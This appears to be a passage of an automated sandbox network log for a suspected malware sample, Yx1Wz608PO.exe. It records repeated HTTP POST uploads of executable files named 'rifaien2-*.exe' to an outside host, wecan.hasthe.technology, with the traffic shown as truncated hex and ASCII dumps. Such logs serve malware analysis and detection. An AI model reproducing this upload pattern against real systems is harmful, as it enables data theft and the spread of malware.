Oct 10, 2024 21:03:02.115740061 CEST	4944	OUT	Data Raw: 89 df 31 d2 5d 49 1b 80 de c4 89 c8 da 5d e4 8b 83 a9 8b 93 ba 7f 83 83 44 2e 15 47 08 8b 57 0c c6 86 cf 49 00 23 a0 bf f9 44 05 74 10 3b 55 ec 0f 8c 1f 0e 80 be bf 7f 05 3b 45 e8 76 7c 6d b9 a9 ff 0e 80 fe 83 ff 08 74 15 8b 89 cb 83 f9 08 74 0a Data Ascii: 1]I]D.GWI#Dt;U;Ev\|mtt t uA+EU\|=v=@u>;Ht@r7t9@@;x@8@U`~nt1v]AcMOwtXP'$>o5t3CGxu
Oct 10, 2024 21:03:02.408664942 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:02 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:02 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BgMSzwGSVGHMIH%2B7f2G%2BGWXDYD5%2B5Qv7dq%2BDPgPNwK8FIHNLzeBr1xW4GKRtMcbINwahMNnvxvjDKn0kW0wWwI%2BqgWjoZabF6BVG4fAG%2FBjlOf0LgNSXzAJ0%2FrLyRJRZeSCVi1vs4RfBHQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de3c3f68c411-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50664	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:02.787026882 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------336efb25eae9a6d8
Oct 10, 2024 21:03:03.232208014 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:03.233108997 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 33 36 65 66 62 32 35 65 61 65 39 61 36 64 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------336efb25eae9a6d8Content-Disposition: form-data; name="file[]"; filename="rifaien2-nSkjqsOEKHn8zr0H.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:03.233264923 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:03.238584995 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:03.238585949 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:03.238768101 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:03.238801003 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:03.238919020 CEST	7416	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:03.238984108 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:03:03.238984108 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:03:03.243788958 CEST	9888	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:03:03.560273886 CEST	809	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:03 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:03 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B5KgS%2BjB8GaTfmSCuzVGM0FQFJQUzWoZKFcRdQeYQODjMdJp0gufUzOobseYoqY1fsUmul8Zi8HKoElixVdFJf6bOUKDmKxpY7qQ7VfKU9CZV6Gtdg4g0lNdgscK4ZohCLCKvPV6fNfJoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de450df37ca6-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50667	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:03.764411926 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------5a9c1eaa9a0ff996
Oct 10, 2024 21:03:04.258841038 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:04.259831905 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 61 39 63 31 65 61 61 39 61 30 66 66 39 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------5a9c1eaa9a0ff996Content-Disposition: form-data; name="file[]"; filename="rifaien2-b3ZWCYI3KgQ9GVd3.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:04.260158062 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:04.265335083 CEST	7416	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:04.265335083 CEST	4944	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:04.265536070 CEST	12360	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:04.270694017 CEST	12360	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:03:04.270814896 CEST	4944	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:03:04.271091938 CEST	14832	OUT	Data Raw: 2e 5e 2f 68 39 19 01 00 0e 98 5e 0f 84 76 ba 2f 06 bf c6 47 10 01 c7 47 77 47 8e 41 3e 98 03 06 e6 27 41 77 72 ca 7e 03 5c 47 aa 4d 03 56 56 68 44 2b 2f ac e3 bb 14 57 03 6f 4b 2b 0f 84 1f 23 73 00 42 ce 84 85 e0 aa 1e b9 d8 ae 6a 4f 15 74 63 10 Data Ascii: .^/h9^v/GGwGA>'Awr~\GMVVhD+/WoK+#sBjOtcO;PT$\DMsq`cRSHhA cu\|lN`tjE1\(p?Q@?g4S6S7gIgC1[Gi^H,du3r#tZ
Oct 10, 2024 21:03:04.271239042 CEST	12704	OUT	Data Raw: b8 ff 00 79 c7 45 ec 08 ff 5f 9c 9c 9d fd a9 cc c7 45 a8 0d b4 06 b0 bc e4 88 9a 9c a4 1f a8 5d c5 c3 5a a0 e7 ad 46 25 15 1d a3 29 34 0f 3b a8 cb 8a e0 13 8b bf 25 39 8a a2 23 c4 eb 43 83 04 64 e2 08 25 bf 74 2c e8 bf a0 c5 aa 89 f3 0f b6 16 ab Data Ascii: yE_E]ZF%)4;%9#Cd%t,sT44o}E]PShE`RQdA:M}u;(5dB}w1zPP4UsuGt}Gul}1]&1S{s2$
Oct 10, 2024 21:03:04.271681070 CEST	2472	OUT	Data Raw: 00 4e b9 00 00 f3 5d d3 fd bb be 13 b6 00 00 8c bc 00 00 5a 03 26 cd 73 06 7d f7 5d f7 a5 00 00 bd 0b 77 3f b5 07 01 00 cf 03 7d 09 01 00 ee f7 dd 77 df 07 c4 15 01 00 28 03 69 16 01 00 e2 2b 74 dd 00 00 ba 03 5d d7 75 5d e9 1f c8 03 ab af 72 ff Data Ascii: N]Z&s}]w?}w(i+t]u]r4M4M\|C+>Q4M4]jx4MM6MDC(>4M4Pct4ME4M4,?O^m4M{44MF&
Oct 10, 2024 21:03:04.576710939 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:04 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:04 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fj%2Bm%2F8d6DXgeXuBVERKd9KszrKXkt8ztVHcNcR0z%2FWBMggPqHRVFowirEKfELJhhxpZtDQHPesFHMSQqhBWmOtFLy8NjuV9GuUADNTTQIEfIVddTtEJfAh6UxceNw%2BRpCfKpXMXd6oEQ3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de4b6929c333-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50668	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:04.721402884 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------187a70f54ca5a6cc
Oct 10, 2024 21:03:05.174155951 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:05.492254972 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 38 37 61 37 30 66 35 34 63 61 35 61 36 63 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------187a70f54ca5a6ccContent-Disposition: form-data; name="file[]"; filename="rifaien2-2McOOOA0Nrrao2kH.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:05.492495060 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:05.497781992 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:05.497781992 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:05.497905016 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:05.497965097 CEST	7416	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:05.498018026 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:03:05.502444983 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:03:05.502739906 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:03:05.502840996 CEST	4944	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:03:05.815891981 CEST	825	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:05 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:05 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vGiT98vtXv%2BDB8tbzaiq7N80gHetZfMvJH7J4Zxtf%2F1idkdk37mjE%2Bp%2FxmoAmOxdoEYL9Kz43N7PJB%2BJg%2BDBfLomwrjWPYqeuBvEOZvZ%2F8%2BVT0SEfsYeJK5b69bDVTXeaMPLJ0uX%2FTdWDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de51280232f4-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50669	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:05.954850912 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------84888a50c82bae2c
Oct 10, 2024 21:03:06.542083979 CEST	25	IN	HTTP/1.1 100 Continue
